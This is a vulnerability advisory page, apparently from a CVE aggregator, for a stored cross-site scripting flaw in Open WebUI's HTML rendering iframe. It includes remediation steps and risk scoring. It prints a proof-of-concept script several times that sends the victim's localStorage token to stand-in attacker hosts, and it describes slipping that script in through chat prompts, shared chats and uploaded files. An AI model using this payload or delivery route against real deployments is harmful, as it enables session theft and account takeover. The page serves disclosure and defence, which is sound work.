Skip to main content

Open WebUI CVE-2026-45303

HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-05-14 https://github.com/open-webui/open-webui GHSA-4vrc-m9ch-6m3r
7.7
CVSS 3.1 · Vendor: https://github.com/open-webui/open-webui
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate to Open WebUI
  2. Delivery
    Craft chat with malicious HTML/JS
  3. Exploit
    Share chat or upload poisoned file
  4. Install
    Victim views HTML rendering
  5. C2
    Script executes in iframe
  6. Execute
    localStorage token exfiltrated
  7. Impact
    Attacker impersonates victim

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires authenticated access to an Open WebUI instance (PR:L - low privileges required). The attack succeeds when the HTML rendering view feature is enabled and one of four specific conditions is met: (1) victim manually enters attacker-provided prompt text containing malicious HTML/JavaScript into their own chat session (social engineering required), (2) victim clones a shared chat containing injected scripts via the Chat Share function, (3) victim uploads a file (text, PDF, or other supported format) containing malicious instructions and executes a command like 'Show content' that triggers rendering, or (4) victim imports a conversation export file via Settings → Conversations → Import Conversations containing poisoned content. User interaction is required (UI:R) at each step. The vulnerability is limited to deployments where the HTML rendering view component is accessible and at least one cross-user content propagation vector (sharing/import/upload) is enabled. Default Open WebUI configurations include these features, making most installations exploitable if running versions below 0.6.5. Network access to the web interface (AV:N) is required but does not need to be public-exploitation works within internal networks.

Impact

Real-world risk is moderate despite the 7.7 CVSS score. The AC:H (high attack complexity) and UI:R (required user interaction) vectors accurately reflect exploitation barriers: attackers must either convince victims to manually enter malicious prompts, share/clone poisoned chats, upload crafted files, or import malicious conversation exports. The PR:L requirement (authenticated access) limits attack surface to users with valid accounts. No EPSS or KEV data provided, suggesting no confirmed widespread exploitation. However, the GitHub advisory includes a working proof-of-concept demonstrating token exfiltration via fetch('https://attacker.local/?' + localStorage.getItem('token')), lowering the barrier for motivated attackers. The Changed Scope (S:C) is the critical factor elevating severity-successful exploitation enables lateral movement by poisoning shared content that propagates to other users. Primary risk exists in multi-tenant deployments where chat sharing, file upload, and conversation import features are actively used. Organizations using Open WebUI 0.5.4 or earlier in collaborative environments should prioritize patching. The vendor's own assessment characterizes exploitability as 'very low,' which aligns with the high-complexity CVSS vector but conflicts with the high confidentiality/integrity impact scores-defenders should focus on whether their deployment enables the cross-user attack vectors described.

Exploit ScenarioDerived

An attacker with a low-privilege Open WebUI account crafts a chat conversation containing an HTML response with embedded JavaScript: fetch('https://attacker.site/?' + localStorage.getItem('token')). The attacker uses the Chat Share function to share this conversation with a victim user or uploads a PDF file containing the malicious prompt instruction. When the victim views the HTML rendering of this content, the script executes in an iframe with allow-same-origin permissions, exfiltrating the victim's authentication token to the attacker-controlled server. The attacker uses the stolen token to impersonate the victim, accessing their conversations, API keys, or administrative functions depending on the victim's privilege level. Working proof-of-concept code is publicly available in the GitHub security advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 14, 2026

Stored cross-site scripting (XSS) in Open WebUI versions before 0.6.5 allows authenticated users to exfiltrate session tokens via maliciously crafted chat content. The HTML rendering view uses an insufficiently restrictive iframe sandbox (allow-scripts allow-forms allow-same-origin), enabling injected JavaScript to access localStorage and transmit authentication tokens to attacker-controlled servers. While primarily self-XSS, exploitation extends to other users through shared chat cloning, file upload content rendering, or conversation import features. Publicly available exploit code exists (GitHub advisory includes working PoC). CVSS 7.7 reflects high complexity requiring user interaction, but successful exploitation grants full account compromise (C:H/I:H).

RemediationAI

Upgrade to Open WebUI version 0.6.5 or later immediately, available via pip (pip install --upgrade open-webui>=0.6.5). Vendor advisory confirms this version implements restrictive iframe sandbox directives that prevent script execution with parent context access. Until patching is complete, implement compensating controls: (1) Disable the HTML rendering view feature if operationally feasible-check frontend configuration for options to restrict HTML visualization capabilities. (2) Block chat sharing and conversation import/export functions via administrative controls to prevent cross-user payload propagation. (3) Restrict file upload functionality to trusted users only, particularly for document types that trigger content rendering (text, PDF). (4) Implement Web Application Firewall (WAF) rules to detect and block localStorage access patterns in chat content, though this may cause false positives with legitimate HTML examples. Note that disabling features degrades user experience significantly-these are temporary measures only. Security monitoring should focus on detecting authentication token reuse from unexpected IP addresses or user agents, indicating potential token theft. Full remediation details at https://github.com/advisories/GHSA-4vrc-m9ch-6m3r.

Affected Packages

pypi open-webui fix: 0.6.5

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Open WebUI is a Python-based web interface for large language models distributed via pip (pkg:pip/open-webui). The vulnerability stems from CWE-79 (Improper Neutralization of Input During Web Page Generation) in the HTML rendering feature. Chat responses containing HTML are rendered in an iframe with sandbox attributes that explicitly permit script execution (allow-scripts) and same-origin access (allow-same-origin). This configuration defeats the security purpose of iframe sandboxing by allowing embedded scripts to access the parent window's localStorage, where Open WebUI stores authentication tokens. The CVSS vector (AV:N/AC:H/PR:L/UI:R/S:C) indicates network-based delivery requiring low privileges (authenticated user) with changed scope, meaning the vulnerability can affect resources beyond the vulnerable component's security scope-specifically, other users who interact with shared or imported malicious content.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/open-webui/open-webui) PRIMARY 7.7 HIGH
AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N

Primary rating from Vendor (https://github.com/open-webui/open-webui) · only source for this CVE.

CVSS VectorVendor: https://github.com/open-webui/open-webui

Attack Vector
Network
Attack Complexity
High
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

DescriptionCVE.org

Summary

Through the HTML rendering view, scripts can be injected and executed. The finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4.

Details

The frontend provides a function to visualize the HTML content of a current chat. The content is embedded in an iFrame with the following sandbox directive:

sandbox="allow-scripts allow-forms allow-same-origin"

This means that the content is placed in a sandbox but with permission to execute scripts and access the parent’s data (e.g., local storage). As a result, only a few functions are restricted (e.g., displaying an alert box), but in effect, the sandbox attribute is largely nullified.

PoC

If an HTML document containing a script is included in the chat, this script will be embedded in the view and executed. This can be achieved with a message like the following:

Create an HTML form and insert the following script into the document:
`fetch('https://www.attacker.local/?' + localStorage.getItem('token'))`

By entering this message, the script fetch('https://www.attacker.local/?' + localStorage.getItem('token')) is embedded, allowing the user's token to be read and sent to www.attacker.local.

!grafik

Impact

Fundamentally, this is a Self-XSS attack (executable only in the user's own context). However, the code could also be injected into another user's context through the following vectors:

  • If an attacker manages to trick the user into entering the input (as users may not expect JavaScript execution via chat inputs).
  • There is a Chat Share function. A shared chat can be cloned, potentially transferring the input to another user's context.
  • If the instruction is embedded in a file (text, PDF, etc.) and the victim uploads the file to the chat, causing the content to be displayed (e.g., using the command "Show content").
  • By importing a chat via "Settings - Conversations - Import Conversations."

An attack is only successful under these conditions, which is why the Attack Complexity vector has been set to High. Overall, the likelihood of exploitation (Exploitability) is considered very low.

Recommendation

The iFrame sandbox should be defined more restrictively to prevent scripts from executing with access to the parent’s data.

Executive ViewAI

Why It Matters

Open WebUI versions before 0.6.5 contain a stored cross-site scripting vulnerability that allows authenticated users to steal session tokens from other users through shared chat features, potentially leading to unauthorized account access and lateral movement within the platform. Organizations using Open WebUI should treat this as a critical authentication risk, as compromised accounts can access all associated conversations and integrated services without detection.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict iframe sandbox attribute to remove allow-scripts allow-same-origin flags until upgrade; (2) Disable or restrict access to chat cloning, file upload rendering, and conversation import features; (3) Implement network-level monitoring for suspicious outbound connections from Open WebUI servers to detect token exfiltration; (4) Enforce periodic session token rotation (every 24 hours); (5) Restrict Open WebUI access to internal network only, disabling external sharing; (6) Deploy Web Application Firewall (WAF) rules to detect and block JavaScript injection patterns in chat content payloads.

Threat Intelligence Overview

EPSS Score
0.0%
Top 90% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Affected Products (CPE)CVE.org

pkg:pip/open-webui

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy